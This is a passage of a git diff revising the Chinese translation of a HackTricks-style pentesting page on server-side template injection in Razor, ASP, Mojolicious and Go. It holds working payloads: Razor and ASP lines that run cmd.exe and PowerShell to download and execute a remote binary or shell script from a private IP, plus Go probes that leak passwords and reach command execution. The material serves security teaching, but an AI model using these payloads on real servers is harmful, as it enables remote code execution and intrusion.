* `@{ <= 错误!`
|
||||
* `@ <= 成功`
|
||||
* `@{} <= 错误!`
|
||||
* `@{ <= 错误!`
|
||||
* `@(1+2)`
|
||||
* `@( //C#代码 )`
|
||||
* `@( //C#Code )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
.NET的`System.Diagnostics.Process.Start`方法可以用来启动服务器上的任何进程,从而创建一个webshell。你可以在[https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)找到一个易受攻击的webapp示例。
|
||||
.NET `System.Diagnostics.Process.Start` 方法可用于在服务器上启动任何进程,从而创建 Webshell。您可以在 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) 找到一个易受攻击的 Web 应用示例。
|
||||
|
||||
**更多信息**
|
||||
|
||||
|
@ -882,47 +902,47 @@ ${x}
|
|||
|
||||
* `<%= 7*7 %>` = 49
|
||||
* `<%= "foo" %>` = foo
|
||||
* `<%= foo %>` = 无内容
|
||||
* `<%= response.write(date()) %>` = \<日期>
|
||||
* `<%= foo %>` = 无
|
||||
* `<%= response.write(date()) %>` = \<Date>
|
||||
```bash
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
```
|
||||
**更多信息**
|
||||
|
||||
* [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
即使是Perl,它也使用类似Ruby中ERB的标签。
|
||||
即使是 Perl,它也使用类似 Ruby 中的 ERB 标记。
|
||||
|
||||
* `<%= 7*7 %> = 49`
|
||||
* `<%= foobar %> = 错误`
|
||||
* `<%= foobar %> = Error`
|
||||
```
|
||||
<%= perl code %>
|
||||
<% perl code %>
|
||||
```
|
||||
### SSTI in GO
|
||||
### GO中的SSTI
|
||||
|
||||
在后端使用的模板引擎是Go时,您可以使用以下payloads来确认:
|
||||
确认后端使用的模板引擎是Go的方法是使用以下有效负载:
|
||||
|
||||
* `{{ . }}` = 作为输入传递给模板的数据结构
|
||||
* 如果传递的数据是一个包含属性Password的对象,前面的payload会泄露它,但您也可以这样做:`{{ .Password }}`
|
||||
* `{{printf "%s" "ssti" }}` = 应该在响应中输出字符串ssti
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}` = 这些是其他几个payload,它们应该输出字符串"ssti",而不带有后缀"js"或"html"。您可以在[这里](https://golang.org/pkg/text/template)参考更多关键词。
|
||||
- `{{ . }}` = 作为输入传递给模板的数据结构
|
||||
- 如果传递的数据是一个包含属性Password的对象,前一个有效负载将泄漏它,但你也可以这样做:`{{ .Password }}`
|
||||
- `{{printf "%s" "ssti" }}` = 应该在响应中输出字符串ssti
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}` = 这些是另外一些有效负载,应该在不带尾随单词"js"或"html"的情况下输出字符串"ssti"。你可以在引擎中参考更多关键字[这里](https://golang.org/pkg/text/template)。
|
||||
|
||||
**XSS利用**
|
||||
|
||||
如果服务器**使用text/template**包,通过**简单地**提供您的**payload**作为输入,很容易实现XSS。然而,使用html/template则**不是这样**,因为它会对响应进行HTML编码:`{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||||
如果服务器**使用text/template**包,通过**简单**提供你的**有效负载**作为输入,很容易实现XSS。然而,**html/template**不是这种情况,因为它对响应进行了HTML编码:`{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||||
|
||||
然而,Go允许**定义**一个完整的**模板**,然后**稍后调用它**。payload将类似于:\
|
||||
不过,Go允许**定义**一个完整的**模板**,然后**稍后调用它**。有效负载将类似于:\
|
||||
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
|
||||
|
||||
**RCE利用**
|
||||
|
||||
html/template模块的文档可以在[这里](https://golang.org/pkg/html/template/)找到,text/template模块的文档可以在[这里](https://golang.org/pkg/text/template/)找到,是的,它们的差异很大。例如,在**text/template**中,您可以**直接调用任何公共函数,使用“call”值**,但是html/template则不行。
|
||||
html/template模块的文档可以在[这里](https://golang.org/pkg/html/template/)找到,text/template模块的文档可以在[这里](https://golang.org/pkg/text/template/)找到,是的,它们确实有很大的不同。例如,在**text/template**中,你可以使用“call”值**直接调用任何公共函数**,但在html/template中不是这种情况。
|
||||
|
||||
如果您想通过SSTI在Go中找到RCE,您应该知道,就像您可以用`{{ . }}`访问给定的对象一样,您也可以**调用对象的方法**。所以,想象一下,**传递的对象有一个叫做System的方法**,它执行给定的命令,您可以这样滥用它:`{{ .System "ls" }}`\
|
||||
因此,您可能**需要源代码**。类似的潜在源代码可能看起来像:
|
||||
如果你想通过SSTI在Go中找到一个RCE,你应该知道,由于你可以通过`{{ . }}`访问传递给模板的给定对象,你也可以**调用对象的方法**。因此,想象一下,传递的对象有一个名为System的方法来执行给定的命令,你可以这样滥用它:`{{ .System "ls" }}`\
|
||||
因此,你可能**需要源代码**。类似于这种情况的潜在源代码将如下所示:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
|
@ -934,9 +954,9 @@ return string(out)
|
|||
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
|
||||
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||||
|
||||
### 更多漏洞
|
||||
### 更多利用
|
||||
|
||||
查看 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) 获取更多漏洞信息。您还可以在 [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) 中找到有趣的标签信息。
|
||||
查看 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) 获取更多利用。您还可以在 [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) 中找到有趣的标签信息。
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
|
@ -944,10 +964,10 @@ return string(out)
|
|||
|
||||
## 相关帮助
|
||||
|
||||
如果您认为以下内容有用,请阅读:
|
||||
如果您认为有用,请阅读:
|
||||
|
||||
* [Flask 技巧](../../network-services-pentesting/pentesting-web/flask.md)
|
||||
* [Python 魔术函数](broken-reference/)
|
||||
* [Flask技巧](../../network-services-pentesting/pentesting-web/flask.md)
|
||||
* [Python魔术函数](broken-reference/)
|
||||
|
||||
## 工具
|
||||
|
||||
|
@ -959,7 +979,7 @@ return string(out)
|
|||
|
||||
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
|
||||
|
||||
## 暴力破解检测列表
|
||||
## 暴力检测列表
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
|
@ -971,20 +991,20 @@ return string(out)
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动,也是**欧洲**最重要的活动之一。这个大会的**使命是推广技术知识**,是技术和网络安全专业人士在各个学科的沸腾交汇点。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点会议。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF** 版本,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue